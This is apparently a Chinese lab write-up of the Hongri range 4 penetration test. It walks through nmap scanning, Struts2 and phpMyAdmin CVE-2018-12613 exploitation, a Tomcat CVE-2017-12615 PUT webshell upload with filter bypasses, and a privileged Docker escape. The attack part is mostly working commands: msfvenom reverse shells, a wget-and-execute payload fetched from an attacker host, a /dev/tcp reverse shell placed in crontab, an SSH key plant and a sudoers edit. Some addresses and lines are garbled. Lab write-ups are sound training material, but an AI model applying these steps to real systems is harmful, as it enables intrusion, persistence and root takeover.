红日靶场四
环境搭建
创建仅主机模式子网网卡vmnet1
1 | vmnet1:192.168.183.0(内) vmnet0:192.168.157.0(外) |
WEB主机网卡设置
WIN7主机网卡、DC主机网卡同下设置
1 | web: ubuntu:ubuntu 192.168. 192.168.157.0 |
WEB主机(Ubuntu)上启动环境
1 | sudo docker start ec 17 09 bb da 3d ab ad |
网站渗透
扫主机
1 | nmap -sP -T4 192.168.157.0/24 |
扫描端口开放情况
1 | nmap -sS -p 1-65535 -A 192.168.157.0 |
22端口开放SSH服务;2001使用了Struts2中间件;2002使用了Apache Tomcat中间件;2003为Apache、PhpMyadmin、mysql
Struts2
访问2001端口,是一个struts2的框架
使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞
生成msf马并上传
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.157.0 LPORT=4444 -f jsp > shell.jsp |
msf启动监听,访问马
1 | use exploit/multi/handler |
成功收到会话
phpMyadmin
日志写shell,但权限低无法操作
文件包含,phpMyadmin版本 4.8.1 存在 CVE-2018-12613 远程文件包含
poc
1 | ?target=tbl_zoom_select.php?/../../../../../../etc/hosts |
在phpmyadmin中执行的sql语句会记录到临时存放的session文件中,那么首先执行select “<?php phpinfo()?” ,然后文件包含session文件,即可利用 session 写入 shell 的方式进行 getshell
session
文件的存储路径是分为两种情况的
一是没有权限,默认存储在 /var/lib/php/sessions/
目录下,文件名为 sess_[phpsessid],而 phpsessid
在发送的请求的 cookie
字段中可以看到
二是 phpmyadmin
,这时的 session
文件存储在 /tmp
目录下,需要在 php.ini
里把 session.auto_start
置为 1,把 session.save_path
目录设置为 /tmp
直接执行 SELECT "<?php phpinfo();?>"
,可以看到确实被保存到了 sess_sessid 中去了
确定了文件包含漏洞的存在,有种方法获取权限
通过php的file_put_contents函数写入php木马
用php的系统函数执行系统命令或者直接php反弹shell
Tomcat任意文件写入
Tomcat CVE-2017-12615 任意文件写入
漏洞原理
由于配置不当(非默认配置),将配置文件 conf/web.xml
中的 readonly
设置为了 false,导致可以使用 PUT 方法上传任意文件,但限制了 jsp 后缀的上传
jsp 限制绕过
但是该上传对 jsp 后缀进行简单的过滤,可以用以下三种方法进行绕过
- 在 jsp 后缀加上 %20,即空格直接忽略
- 在 jsp 后缀后面使用
/
,因为/
在文件名中是非法的,在 windows 和 linux 中都会自动去除 - 在 jsp 后缀使用 Windows NTFS 流,在 jsp 后面添加
::$DATA
使用 PUT 方法上传一个冰蝎马
1 | PUT /2.jsp/ HTTP/1.1 |
- 工具一把梭
使用kali本地的exploit-db库,查找漏洞
1 | searchsploit tomcat 8.5.19 |
poc验证
漏洞利用
生成linux的木马,在kali本地起一个http服务方便靶机下载
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.2 LPORT=4444 -f elf > shell.elf |
下载shell.elf并赋权执行
1 | wget http://192.168.157.2:8000/shell.elf |
使用msf接收会话,上线成功
1 | use exploit/multi/handler |
docker逃逸提权
目前拿的shell都只是一个docker容器里面的shell,并不是真正ubuntu的shell,还需要进行docker逃逸到ubuntu
- 确定在docker环境里
1 | ls /.dockerenv |
- 确定是特权模式启动的docker
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
1 | cat /proc/self/status|grep CapEff |
CapEff 对应的掩码值为: 0000003fffffffff ,可以用privilege特权模式逃逸
- mount挂载设备
1 | fdisk -l #查看宿主机的分区 |
- kali生成公私钥
1 | ssh-keygen -f rain |
蚁剑虚拟终端执行:
1 | cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys |
kali执行ssh连接:
1 | ssh -i rain ubuntu@192.168.157.0 |
- crontab计划任务,docker逃逸
用冰蝎终端在计划任务里写入一个bash反弹shell的脚本:
1 | echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.2/9999 0>&1">> /test/tmp/shell.sh |
写入crontab计划任务,表示每隔两分钟以root权限执行一次计划
1 | echo '*/2 * * * * root bash /tmp/shell.sh' > /test/etc/crontab |
获取ubuntu root权限
- ubuntu用命令行执行命令,在普通用户下的操作很受限,无法变成管理员权限,需要在一个文件/etc/sudoers处加入普通用户的放行语句,才可以让普通用户在ssh的情况下进行提权
1 | echo 'ubuntu ALL=(ALL:ALL) ALL' >> test/etc/sudoers |
内网渗透
这部分和前面靶场的差不多